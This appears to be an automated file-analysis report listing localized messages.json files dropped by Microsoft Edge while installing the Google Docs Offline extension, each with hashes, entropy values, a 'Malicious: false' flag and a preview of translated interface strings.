File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8172_257808155\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
